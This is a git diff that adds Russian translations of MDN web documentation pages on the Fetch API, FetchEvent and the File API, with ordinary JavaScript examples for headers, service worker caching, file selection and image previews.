+const myBlob = await response.blob();
+const objectURL = URL.createObjectURL(myBlob);
+myImage.src = objectURL;
+ +

Конструктор Request() принимает точно такие же параметры, как и метод fetch(). Вы даже можете передать существующий объект запроса для создания его копии:

+ +
const anotherRequest = new Request(myRequest, myInit);
+ +

Довольно удобно, когда тела запроса и ответа используются единожды (прим.пер.: "are one use only"). Создание копии как показано позволяет вам использовать запрос/ответ повторно, при изменении опций init, при желании. Копия должна быть сделана до прочтения тела, а чтение тела в копии также пометит его прочитанным в исходном запросе.

+ +
+

Примечание: Также есть метод {{domxref("Request.clone","clone()")}}, создающий копии. Оба метода создания копии прекратят работу с ошибкой если тело оригинального запроса или ответа уже было прочитано, но чтение тела клонированного ответа или запроса не приведёт к маркировке оригинального.

+
+ +

Заголовки

+ +

Интерфейс {{domxref("Headers")}} позволяет вам создать ваш собственный объект заголовков через конструктор {{domxref("Headers.Headers","Headers()")}}. Объект заголовков - простая мультикарта имён-значений:

+ +
const content = 'Hello World';
+const myHeaders = new Headers();
+myHeaders.append('Content-Type', 'text/plain');
+myHeaders.append('Content-Length', content.length.toString());
+myHeaders.append('X-Custom-Header', 'ProcessThisImmediately');
+ +

То же может быть достигнуто путём передачи массива массивов или литерального объекта конструктору:

+ +
const myHeaders = new Headers({
+  'Content-Type': 'text/plain',
+  'Content-Length': content.length.toString(),
+  'X-Custom-Header': 'ProcessThisImmediately'
+});
+ +

Содержимое может быть запрошено и извлечено:

+ +
console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.get("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.get("X-Custom-Header")); // [ ]
+ +

Некоторые из этих операций могут быть использованы только в {{domxref("ServiceWorker_API","ServiceWorkers")}}, но они предоставляют более удобный API для манипуляции заголовками.

+ +

Все методы Headers выбрасывают TypeError, если имя используемого заголовка не является валидным именем HTTP Header. Операции мутации выбросят TypeError если есть защита от мутации (смотрите ниже) (прим.пер.: "if there is an immutable guard"). В противном случае они прерываются молча. Например:

+ +
const myResponse = Response.error();
+try {
+  myResponse.headers.set('Origin', 'http://mybank.com');
+} catch (e) {
+  console.log('Не могу притвориться банком!');
+}
+ +

Хорошим вариантом использования заголовков  является проверка корректности типа контента перед его обработкой. Например:

+ +
try {
+  const response = await fetch(myRequest);
+  const contentType = response.headers.get('content-type');
+  if (!contentType || !contentType.includes('application/json')) {
+    throw new TypeError("Ой, мы не получили JSON!");
+  }
+  const json = await response.json();
+  /* Дальнейшая обработка JSON */
+} catch (error) {
+  console.log(error);
+}
+ +

Защита

+ +

С тех пор как заголовки могут передаваться в запросе, приниматься в ответе и имеют различные ограничения в отношении того, какая информация может и должна быть изменена, заголовки имеют свойство guard. Это не распространяется на Web, но влияет на то, какие операции мутации доступны для объекта заголовков.

+ +

Возможные значения:

+ + + +
+

Примечание: Вы не можете добавить или установить request защищаемые Headers’ заголовок Content-Length. Аналогично, вставка Set-Cookie в заголовок ответа недопустимо: ServiceWorkers не допускают установки cookies через синтезированные ответы.

+
+ +

Объекты ответа

+ +

Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращен когда fetch() промис будет исполнен.

+ +

Свойства объекта-ответа которые чаще всего используются:

+ + + +

Они так же могут быть созданы с помощью JavaScript, но реальная польза от этого есть только при использовании  {{domxref("ServiceWorker_API", "сервисворкеров")}}, когда вы предоставляете собственный ответ на запрос с помощью метода {{domxref("FetchEvent.respondWith","respondWith()")}}:

+ +
const myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  // ServiceWorker перехватывает fetch
+  event.respondWith(
+    new Response(myBody, {
+      headers: { 'Content-Type': 'text/plain' }
+    })
+  );
+});
+ +

Конструктор {{domxref("Response.Response","Response()")}} принимает два необязательных аргумента — тело для ответа и объект init (аналогичный тому, который принимает {{domxref("Request.Request","Request()")}})

+ + + +
+

Примечание: Метод {{domxref("Response.error","error()")}} просто возвращает ответ об ошибке. Аналогично, {{domxref("Response.redirect","redirect()")}} возвращает ответ, приводящий к перенаправлению на указанный URL. Они также относятся только к Service Workers.

+
+ +

Тело

+ +

Запрос и ответ могут содержать данные тела. Тело является экземпляром любого из следующих типов:

+ + + +

{{domxref("Body")}} примесь определяет следующие методы для извлечения тела (реализованны как для {{domxref("Request")}} так и для {{domxref("Response")}}). Все они возвращают promise, который в конечном итоге исполняется и выводит содержимое.

+ + + +

Это делает использование нетекстовых данных более легким, чем при XMR.

+ +

В запросе можно установить параметры для отправки тела запроса:

+ +
const form = new FormData(document.getElementById('login-form'));
+fetch('/login', {
+  method: 'POST',
+  body: form
+});
+ +

Параметры request и response (and by extension the fetch() function), по возможности возвращают корректные типы данных. Параметр request также автоматически установит Content-Type в заголовок, если он не был установлен из словаря.

+ +

Функция обнаружения

+ +

Поддержка Fetch API может быть обнаружена путем проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:

+ +
if (self.fetch) {
+    // запустить мой fetch запрос здесь
+} else {
+    // Сделать что-то с XMLHttpRequest?
+}
+ +

Полифилл

+ +

Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует  Fetch Polyfill , который воссоздает функциональность для не поддерживающих браузеров.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Первоначальное описание
+ +

Совместимость браузера

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(42)}}14{{CompatGeckoDesktop(39)}}
+ {{CompatGeckoDesktop(34)}}[1]
+ {{CompatGeckoDesktop(52)}}[2]		{{CompatNo}}29
+ 28[1]		10.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatChrome(42)}}{{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}10.1{{CompatUnknown}}
+
+ +

[1] Этот API  is implemented behind a preference.

+ +

[2] До Firefox 52, get() возращал только  первое значение в указанном заголовке, а getAll() возращал все значения. Начиная с 52, get() теперь возращает все значения и getAll() был удален.

+ +

См. также

+ + diff --git a/files/ru/web/api/fetchevent/index.html b/files/ru/web/api/fetchevent/index.html new file mode 100644 index 0000000000..5c529c772c --- /dev/null +++ b/files/ru/web/api/fetchevent/index.html @@ -0,0 +1,103 @@ +--- +title: FetchEvent +slug: Web/API/FetchEvent +translation_of: Web/API/FetchEvent +--- +

{{APIRef("Service Workers API")}}

+ +

Это тип событий fetch, обрабатываемых в {{domxref("ServiceWorkerGlobalScope", "глобальном контексте service worker", "", 1)}}. Даноое событие содержит данные о запросе, включая его цель. Оно предоставляет метод {{domxref("FetchEvent.respondWith", "event.respondWith()")}}, с помощью которого service worker может ответить на запрос.

+ +

Конструктор

+ +
+
{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}
+
Создает новый объект FetchEvent. Как правило, данный конструктор не используется. Браузер самостоятельно создает данные объекты и передает их в обработчик событий fetch.
+
+ +

Свойства

+ +

Данный класс наследует все свойства класса {{domxref("Event")}}.

+ +
+
{{domxref("fetchEvent.clientId")}} {{readonlyInline}}
+
{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}} того же источника, отправившего запрос.
+
{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}
+
{{jsxref("Promise", "Промис")}} для {{domxref("Response", "запроса")}}, или же пустой промис, если не произошла навигация или {{domxref("NavigationPreloadManager", "предзагрузка навигации", "", 1)}} отключена.
+
{{domxref("fetchEvent.request")}} {{readonlyInline}}
+
Запрос ({{domxref("Request")}}) от браузера.
+
{{domxref("fetchEvent.replacesClientId")}} {{readonlyInline}}
+
{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}}, заменяемого при навигации.
+
{{domxref("fetchEvent.resultingClientId")}} {{readonlyInline}}
+
{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}}, заменившего прошлый клиент при навигации.
+
+ +

Методы

+ +

Данный класс наследует методы класса {{domxref("ExtendableEvent")}}.

+ +
+
{{domxref("fetchEvent.respondWith()")}}
+
Перехватывает запрос и отпраляет промис с ответом.
+
{{domxref("extendableEvent.waitUntil()")}}
+
+

Продлевает выполнение обработчика события до завершения переданного промиса. Используется чтобы уведомить браузер о событии, продолжающемся после отправки ответа, таком как обновление кеша или потоковая передача.

+
+
+ +

Примеры

+ +

В данном примере все не-GET запросы будут обрабатываться стандартными средствами браузера. В случае GET запросов, service worker попробует найти ответ в кеше, а в случае его отсутствия получит данные с сервера. Также, он асинхронно обновит данные в кеше.

+ +
self.addEventListener('fetch', event => {
+  // В случае не-GET запроса браузер должен сам обрабатывать его
+  if (event.request.method != 'GET') return;
+
+  // Обрабатываем запрос с помощью логики service worker
+  event.respondWith(async function() {
+    // Пытаемся получить ответ из кеша.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // Если кеш был найден, возвращаем данные из него
+      // и запускаем фоновое обновление данных в кеше.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // В случае, если данные не были найдены в кеше, получаем их с сервера.
+    return fetch(event.request);
+  }());
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Service Workers', '#dom-fetchevent-fetchevent', 'FetchEvent()')}}{{Spec2('Service Workers')}}Изначальное определение.
+ +

Совместимость

+ +
+ + +

{{Compat("api.FetchEvent")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/file/filename/index.html b/files/ru/web/api/file/filename/index.html new file mode 100644 index 0000000000..912bfe49ca --- /dev/null +++ b/files/ru/web/api/file/filename/index.html @@ -0,0 +1,32 @@ +--- +title: File.fileName +slug: Web/API/File/fileName +translation_of: Web/API/File/fileName +--- +

{{APIRef("File API")}}{{non-standard_header}}

+ +

{{deprecated_header(7.0)}}

+ +

Summary

+ +

Возвращает имя файла. В целях безопасности путь исключен из этого свойства.

+ +
Это свойство исключено. Используйте вместо него  {{domxref("File.name")}}.
+ +

Синтаксис

+ +
var name = instanceOfFile.fileName
+ +

Значение

+ +

Строка

+ +

Спецификация

+ +

Не является частью документации.

+ +

Смотреть еще

+ + diff --git a/files/ru/web/api/file/getasdataurl/index.html b/files/ru/web/api/file/getasdataurl/index.html new file mode 100644 index 0000000000..881c5815b8 --- /dev/null +++ b/files/ru/web/api/file/getasdataurl/index.html @@ -0,0 +1,64 @@ +--- +title: File.getAsDataURL() +slug: Web/API/File/getAsDataURL +tags: + - API + - File API + - Files + - Method +translation_of: Web/API/File/getAsDataURL +--- +
{{APIRef("File API") }}
+ +

{{non-standard_header}}

+ +

{{deprecated_header(7.0)}}

+ +

Описание

+ +

Метод getAsDataURL возвращает содержимое файла закодированное в формате data: URL

+ +
+

Примечание: Этот метод является устаревшим; предпочтительнее использовать {{domxref ("FileReader")}} Метод {{domxref ("FileReader.readAsDataURL", "readAsDataURL ()")}} вместо этого.

+
+ +

Синтаксис

+ +
var url = instanceOfFile.getAsDataURL();
+ +

Возвращает

+ +

Строку в формате data: URL

+ +

Пример

+ +
// fileInput is a HTMLInputElement: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+
+// array with acceptable file types
+var accept = ["image/png"];
+
+// img is a HTMLImgElement: <img id="myimg">
+var img = document.getElementById("myimg");
+
+// if we accept the first selected file type
+if (accept.indexOf(files[0].mediaType) > -1) {
+  // display the image
+  // same as <img src="data:image/png,<imagedata>">
+  img.src = files[0].getAsDataURL();
+}
+
+ +

Спецификация

+ +

Не является частью какой-либо спецификации

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/file/index.html b/files/ru/web/api/file/index.html new file mode 100644 index 0000000000..82c9f5b7aa --- /dev/null +++ b/files/ru/web/api/file/index.html @@ -0,0 +1,87 @@ +--- +title: File +slug: Web/API/File +translation_of: Web/API/File +--- +
{{APIRef}}
+ +
 
+ +

Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту.

+ +

Объекты File  как правило извлекаются из объекта {{domxref("FileList")}}, который возвращён как результат пользовательского выбора файлов с помощью {{HTMLElement("input")}} элемента, из drag and drop операций {{domxref("DataTransfer")}} объекта, или из mozGetAsFile() API на {{domxref("HTMLCanvasElement")}}. В Gecko, привилегированный код может создать файл представляющий любой локалный файл без пользовательского взаимодействия (см {{anch("Gecko notes")}} для получения большей информации.)

+ +

Объект File - особый вид {{domxref("Blob")}}, и может быть использован в любом контексте так же, как и Blob. В частности, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, и {{domxref("XMLHttpRequest", "", "send()")}} допускают и Blob, и File.

+ +

Смотри Использование файлов в веб приложениях для получения более подробной информации и примеров.

+ +

Свойства

+ +

Интерфейс File также наследует свойства от {{domxref("Blob")}} интерфейса:

+ +
+
{{domxref("File.lastModified")}} {{readonlyinline}}
+
Возвращает время последнего изменения файла в миллисекунде с эпохи UNIX (1 января 1970 года в 00:00:00  в часовом поясе UTC).
+
{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}
+
Возвращает дату последнего изменения файла, на который ссылается объект File.
+
{{domxref("File.name")}} {{readonlyinline}}
+
Возвращает имя файла, на который ссылается объект File.
+
{{domxref("File.size")}} {{readonlyinline}}
+
Возвращает размер файла.
+
{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}
+
Возвращает URL адрес, где расположен {{domxref("File")}}.
+
{{domxref("File.type")}} {{readonlyinline}}
+
Возвращает MIME тип файла.
+
+ +

Методы

+ +

Интерфейс не определяет никаких методов, но наследует методы из интерфейса {{domxref("Blob")}}:

+ +

{{Page("/en-US/docs/Web/API/Blob", "Methods")}}

+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API')}}{{Spec2('File API')}}Исходное определение
+ +

Браузерная совместимость

+ +
{{Compat("api.File")}}
+ +

 

+ +

Реализационные заметки

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/file/name/index.html b/files/ru/web/api/file/name/index.html new file mode 100644 index 0000000000..5dfb9aefee --- /dev/null +++ b/files/ru/web/api/file/name/index.html @@ -0,0 +1,118 @@ +--- +title: File.name +slug: Web/API/File/name +tags: + - API + - File API + - Files + - Property + - Reference +translation_of: Web/API/File/name +--- +

{{APIRef("File API")}}

+ +

Возвращает имя файла представленного объектом типа {{domxref("File")}}. По соображениям безопасности не содержит пути к файлу.

+ +

Синтаксис

+ +
var name = file.name;
+ +

Значение

+ +

Строка, содержащая имя файла без пути, например, "My Resume.rtf".

+ +

Пример

+ +
<input type="file" multiple onchange="processSelectedFiles(this)">
+
+ +
function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i < files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}
+ +

Проверьте результаты ниже:

+ +

{{ EmbedLiveSample('Example', 300, 50) }}

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('File API', '#file-attrs', 'name')}}{{Spec2('File API')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
File.name13.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}10.016.0{{CompatVersionUnknown}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
File.name{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] {{webkitbug("32912")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html new file mode 100644 index 0000000000..84af0e83a7 --- /dev/null +++ b/files/ru/web/api/file/using_files_from_web_applications/index.html @@ -0,0 +1,476 @@ +--- +title: Использование файлов в веб приложениях +slug: Web/API/File/Using_files_from_web_applications +translation_of: Web/API/File/Using_files_from_web_applications +--- +

Используя File API, добавленный к DOM в HTML5, в веб-приложениях теперь можно запрашивать пользователя выбрать локальные файлы и затем читать содержимое этих файлов. Выбор файлов может осуществляться с помощью элемента {{ HTMLElement("input") }} или drag and drop.
+
+ Если вы хотите использовать DOM File API в расширениях или коде Chrome, используйте. На самом деле, в таком случае вам необходимо ознакомиться с дополнительными нюансами. См. статью Using the DOM File API in chrome code для подробностей.

+ +

Доступ к выбранным файлам

+ +

Рассмотрим следующий код:

+ +
<input type="file" id="input" multiple>
+ +

File API делает возможным доступ к {{ domxref("FileList") }}, который содержит объекты {{ domxref("File") }}, которым соответствуют файлы, выбранные пользователем.

+ +

Атрибут multiple элемента input позволяет пользователю выбрать несколько файлов.

+ +

Обращение к одному выбранному файлу с использованием классической DOM-модели:

+ +
const selectedFile = document.getElementById('input').files[0];
+ +

Обращение к одному выбранному файлу через jQuery:

+ +
var selectedFile = $('#input').get(0).files[0];
+
+var selectedFile = $('#input')[0].files[0];
+ +
+

Если вы получили ошибку "files is undefined", значит вы выбрали не один HTML-элемент, а список элементов, который возвращает jQuery. Нужно уточнить, у какого именно элемента необходимо вызвать метод "files"

+
+ +

Доступ к выбранным файлам через событие change

+ +

Также возможно (но не обязательно) получить доступ к {{DOMxRef("FileList")}} через событие change. Нужно использовать {{DOMxRef("EventTarget.addEventListener()")}} чтобы добавить обработчик события change, как показано здесь:

+ +
const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* now you can work with the file list */
+}
+ +

Обработчик события change можно назначить атрибутом элемента:

+ +
<input type="file" id="input" onchange="handleFiles(this.files)">
+ +

Когда пользователь выбирает файл, функция handleFiles() будет вызвана с объектом {{ domxref("FileList") }}, который состоит из объектов {{ domxref("File") }}, представляющих файлы, выбранные пользователем.

+ +

Получение информации о выделенных файлах

+ +

Объект {{ domxref("FileList") }} предоставляемый классическим DOM содержит все файлы выбранные пользователем, каждый из которых представляет собой объект {{ domxref("File") }}. Вы можете определить сколько файлов выбрал пользователь проверяя значение аттрибута длины (length) списка файлов:

+ +
var numFiles = files.length;
+ +

Конкретные объекты {{ domxref("File") }} могут быть получены обращением к списку файлов как к массиву:

+ +
for (var i = 0, numFiles = files.length; i < numFiles; i++) {
+  var file = files[i];
+  ..
+}
+
+ +

Этот цикл проходит по всем файлам в списке файлов.

+ +

Всего существует три аттрибута, предоставляемых объектом {{ domxref("File") }}, которые содержат полезную информацию о файле.

+ +
+
name
+
Имя файла как строка доступная только для чтения. Это просто имя файла и оно не включает в себя информацию о пути.
+
size
+
Размер файла в байтах, как 64-битное целое число (возможно только чтение).
+
type
+
MIME тип файла, как строка доступная только для чтения, или пустая строка ("") если тип файла не может быть определён.
+
+ +

Пример: Отображение размера файла(ов)

+ +

Следующий пример показывает возможное использование свойства size:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8">
+<title>File(s) size</title>
+<script>
+function updateSize() {
+  var nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (var nFileId = 0; nFileId < nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  var sOutput = nBytes + " bytes";
+  // optional code for multiples approximation
+  for (var aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox > 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // end of optional code
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+</script>
+</head>
+
+<body onload="updateSize();">
+<form name="uploadForm">
+<p><input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple> selected files: <span id="fileNum">0</span>; total size: <span id="fileSize">0</span></p>
+<p><input type="submit" value="Send file"></p>
+</form>
+</body>
+</html>
+
+ +

Использование метода click() скрытых элементов выбора файла

+ +

Начиная с Gecko 2.0 {{ geckoRelease("2.0") }}, вы можете скрыть непривлекательный элемент {{ HTMLElement("input") }} и предоставить свой собственный интерфейс для открытия диалогового окна выбора и отображения файла или файлов, выбранных пользователем. Вы можете сделать это, присвоив свойству display элемента input  значение none (display:none) и вызывая метод {{ domxref("element.click","click()") }} скрытого элемента {{ HTMLElement("input") }}.

+ +

Рассмотрим следующую разметку HTML:

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<a href="#" id="fileSelect">Select some files</a>
+ +

Код, обрабатывающий событие click, может выглядеть следующим образом:

+ +
var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // предотвращает перемещение к "#"
+}, false);
+
+ +

Таким образом, вы можете стилизовать новую кнопку открытия диалога выбора файла так, как пожелаете.

+ +

Использование элемента label скрытого элемента input

+ +

Для того, чтобы открыть диалог выбора файла без использования JavaScript (метода click()), можно воспользоваться элементом {{ HTMLElement("label") }}.

+ +

Рассмотрим следующую разметку HTML:

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<label for="fileElem">Select some files</label>
+ +

В данном случае нет необходимости добавлять код JavaScript для того, чтобы вызвать fileElem.click(). Также в данном случае вы можете стилизовать элемент label так, как пожелаете.

+ +

Выбор файлов с использованием технологии drag and drop

+ +

Также вы можете предоставить пользователю возможность непосредственно перетаскивать файлы в ваше веб-приложение.

+ +

На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приемку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:

+ +
var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+
+ +

В данном примере мы превращаем элемент с ID, равным dropbox, в нашу зону перетаскивания при помощи добавления обработчиков для событий dragenter, dragover и drop.

+ +

В нашем случае нет необходимости делать что-то особенное при обработке событий dragenter и dragover, таким образом, обе функции, ответственные за обработку данных событий, довольно просты. Они останавливают распространение события и предотвращают возникновение действия по умолчанию:

+ +
function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+ +

Вся настоящая магия происходит в функции drop():

+ +
function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+
+ +

Здесь мы извлекаем из события поле dataTransfer, затем вытаскиваем из него список файлов и передаем этот список в handleFiles(). После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент input или технологию drag and drop.

+ +

Пример: Отображение эскизов изображений, выбранных пользователем

+ +

Представим, что вы разрабатываете очередной веб-сайт для обмена фотографиями и вы хотите использовать возможности HTML5 для предварительного просмотра изображений перед тем, как пользователь загрузит их. Вы можете создать input элемент или зону перетаскивания, как обсуждалось ранее, и вызвать такую функцию, как handleFiles() ниже.

+ +
function handleFiles(files) {
+  for (var i = 0; i < files.length; i++) {
+    var file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // Предполагается, что "preview" это div, в котором будет отображаться содержимое.
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+
+ +

Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут type у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "image.*"). Для каждого файла, который является изображением, мы создаем новый img элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.

+ +

Каждое изображение имеет CSS класс obj добавленный к нему для упрощения его поиска в DOM дереве. Мы также добавили атрибут file к каждому изображению, указав {{ domxref("File") }} ; это позволит нам получить изображения для фактической загрузки позже. Наконец, мы используем {{ domxref("Node.appendChild()") }} для того, чтобы добавить новый эскиз в область предпросмотра нашего документа.

+ +

Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к img элементу. После создания нового объекта FileReader, мы настраиваем его функцию onload, затем вызываем readAsDataURL() для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в data: URL, который передается в обратный вызов onload . Наша реализация этой процедуры просто устанавливает атрибут src у элемента img загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.

+ +

Использование URLs объктов

+ +

Gecko 2.0 {{ geckoRelease("2.0") }} представляет поддержку для методов DOM {{ domxref("window.URL.createObjectURL()") }} и {{ domxref("window.URL.revokeObjectURL()") }}. Они позволяют создавать простые строки URL, которые могут быть использованы для обращения к любым данным, на которые можно ссылаться, используя объект DOM {{ domxref("File") }}, включая локальные файлы на компьютере пользователя.

+ +

Когда у вас есть объект {{ domxref("File") }}, на который вы хотите ссылаться по URL из HTML, вы можете создать для этого объект URL, такой как этот:

+ +
var objectURL = window.URL.createObjectURL(fileObj);
+ +

URL объекта – это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создается новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобожден. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:

+ +
window.URL.revokeObjectURL(objectURL);
+ +

Пример: Использование URL объектов для отображения изображений

+ +

Этот пример использует URL объектов для отображения эскизов изображений. Кроме этого, оно показывает другую информацию о файлах, включая их имена и размеры. Вы можете посмотреть работающий пример.

+ +

HTML, который представляет интерфейс, выглядит так:

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<a href="#" id="fileSelect">Select some files</a>
+<div id="fileList">
+  <p>No files selected!</p>
+</div>
+
+ +

Здесь определяется элемент файла {{ HTMLElement("input") }}, а также ссылка, которая вызывает окно выбора файла, т.к. мы сделали элемент ввода файла скрытым, чтобы этот не слишком привлекательный элемент интерфейса не отображался. Об этом рассказывается в разделе {{ anch("Использование метода click() скрытых элементов выбора файла") }}, как о методе вызова окна выбора файла.

+ +

Метод handleFiles() может быть реализован таким образом:

+ +
window.URL = window.URL || window.webkitURL;
+
+var fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "<p>No files selected!</p>";
+  } else {
+    var list = document.createElement("ul");
+    for (var i = 0; i < files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.URL.createObjectURL(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+
+ +

Он начинается с получения элемента {{ HTMLElement("div") }} с ID fileList. Это блок, в который мы вставим наш список файлов, включая эскизы..

+ +

Если объект {{ domxref("FileList") }}, передаваемый в handleFiles() является null, то мы просто устанавливаем внутренний HTML блока в отображение текста "No files selected!". Иначе мы начинаем строить список файлов таким образом:

+ +
    +
  1. Создается новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).
    2. +
  2. Этот новый элемент вставляется в блок {{ HTMLElement("div") }} с помощью вызова его метода {{ domxref("element.appendChild()") }}.
    3. +
  3. Для каждого {{ domxref("File") }} в {{ domxref("FileList") }}, представляемого files: +
      +
    1. Создаем новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.
      2. +
    2. Создаем новый элемент изображения ({{ HTMLElement("img") }}).
      3. +
    3. Устанавливаем источник изображения в новый URL объекта, представляющий файл, используя {{ domxref("window.URL.createObjectURL()") }} для создания URL на двоичный объект.
      4. +
    4. Устанавливаем высоту изображения в 60 пикселей.
      5. +
    5. Устанавливаем обработчик события загрузки изображения для освобождения URL объекта, т.к. после загрузки изображения он больше не нужен. Это делается вызовом метода {{ domxref("window.URL.revokeObjectURL()") }}, передавая в него строку URL объекта, которая указана в img.src.
      6. +
